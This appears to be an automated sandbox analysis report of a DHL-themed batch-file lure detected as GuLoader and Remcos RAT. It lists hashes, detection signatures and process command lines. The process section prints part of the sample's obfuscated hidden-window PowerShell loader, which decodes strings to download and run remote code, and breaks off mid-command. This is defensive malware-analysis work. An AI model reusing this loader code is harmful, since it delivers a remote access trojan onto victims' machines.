Edit tour
Windows
Analysis Report
awb_post_dhl_delivery_documents_07_03_2025_000000000000000.bat
Overview
General Information
| Sample name: | awb_post_dhl_delivery_documents_07_03_2025_000000000000000.bat |
| Analysis ID: | 1632026 |
| MD5: | edaf8ad7fe020745bceed3c4baad35b3 |
| SHA1: | 2f1242d44c9b11fbe8b20e8023cbcfacbb6b044f |
| SHA256: | 45568e9d3eb6f833b3b36b9061d04f94f342f05a2c8fe4f8839b38e5633b9230 |
| Tags: | batDHLuser-abuse_ch |
| Infos: |   |
 | |
Detection
GuLoader, Remcos
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Joe Sandbox ML detected suspicious sample
Queues an APC in another process (thread injection)
Sample has a suspicious name (potential lure to open the executable)
Suspicious powershell command line found
Uses dynamic DNS services
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sleep loop found (likely to delay execution)
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 7252 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\awb_p ost_dhl_de livery_doc uments_07_ 03_2025_00 0000000000 000.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7260 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 7304 cmdline: powershell .exe -wind owstyle hi dden "echo $Enchodus ;function Haggardly( $Afhjlpnin gens){ .($ Remittable ) ($Afhjlp ningens)} function S lappelse19 9($Refalle n){$Tidssk riftssamli ngens170=5 ;do{$Eight +=$Refalle n[$Tidsskr iftssamlin gens170];$ Tidsskrift ssamlingen s170+=6;$N ysgerrighe derne=Form at-List} u ntil(!$Ref allen[$Tid sskriftssa mlingens17 0])$Eight} $Gildhall= Slappelse1 99 'theren coate Ove rTPudsi.fl erdW';$Gil dhall+=Sla ppelse199 'SygemeKar bob Kontc For lCopor i EfteeArb ejNFarest' ;$Horede=S lappelse19 9 'InforMD inaroNavne zGymnoiChi nolae osl Foraa .kin /';$Gl=Sla ppelse199 'Me inTBje rglDe.ousI per1Inani 2';$Belast edes=' Vek s[Mon.snDi skoESpit,t Pol,g.sten usUrinreNo ncorOrd iv GrossIUtn ec AndeE m stP NedgOF unkti nekd nOut iTWit chmRigsga remiN Sacr ALamb g Re nsEBillirS tivn] S,he :Dermo:.or brsDecceE ukseC Afve UV nusRGei tjISeglet AmorYDialy pSammeRDok umORudysTU nderoLysth cGui aOTo. dkLAnmrk=O msme$Ufors GCottaL';$ Horede+=Sl appelse199 ' C.pr5Ca las.Tidta0 Repas .nde r(TermiWHa emoi Udkan G shidrade ro TranwDv iguschart EnterNMath ,TF rdo Ku l.1Outpi0F eeds.salte 0I dpr;S.o rk AsylWOv ersiProdun s,yat6 aad r4Under;k nst Guildx egrl6chiv y4Rea e;gi dse UndorS ekvevHurtl :Datam1Ned gj3Pla o4H exap.Pr du 0Punkt)Sab el SnuppG, ttace Slut ctnderkOmp r.oDambr/D alze2Reneg 0 Resk1 er io0Oldti0 hiro1Tasim 0Domen1.ep ar scrapFD ebowi Squa r ZimmeSku bbfPreopoa lexaxGalla / apir1Aut u 3Rumle4S afts.Un la 0';$Taw=Sl appelse199 'UntirUse mifsBe,deE Dekar Rnt g-Gul.iATa keoG ncabe N.kvN Udd at';$Aktri cens=Slapp else199 'V alerhGr ek tOverftMbe lppRigolsD yret:Quake / Told/s.i ngpAutoglK onj,aEvent nSkvulaTru ffcFiskehT erebi Hydr e St kvCow pae Ro.krP osta.Do im aPooliu Oc t/G bioa OstedHemsk mKamiki Va rinJ.rds- Unshu,algs s Overe.sp erram,ia/P erioTF.gom eKrat lDen aeBajerfG aaseoBrugs n Sys.kMer vrdabrete stearJe,as . Snk f Di s.l No.aa' ;$dipolen= Slappelse1 99 'Aliqu> ';$Remitta ble=Slappe lse199 'En joii uncoe PomolX';$S abirs='Rat sbanes';$M oos='\prec onversion. Pri';Hagga rdly (Slap pelse199 ' Kasse$Wars lGLsninLSa ssOSovepb l ndAImpa rLHuppe:Ud folpOve,il Beskru Bat tmPolonBR. gefu,ostsm N,utS Jus t=Therm$Ba t lE.ntern defunvAfsk e: I noASa mk pSynkrp Tre aDAukt iAOveriThu mouaUndse+ Exaes$ fdm pmP.mpeo w inko reinS ');Haggard ly (Slappe lse199 'sk fe$ ava g NonrelChab ,oIndopBB. asfaformiL Svagh:Muta gs ,owle F orsROligov g.ffI Mis .c De rERe onPShuntr SpindiNe r aSGenhreP litR TegnN DovneED zi nsUford=Di oxi$plainA ,ormuk Nov aTSkrueRMa zi ISubstC BandoeBred dnNymphS t egn.Beboes HogfiPNovu sLudaanIHo nortPa ul( Unpro$ ,in udDartbICh a,gP WingO YadeflBund lE Wo.lnDa cry)');Hag gardly (Sl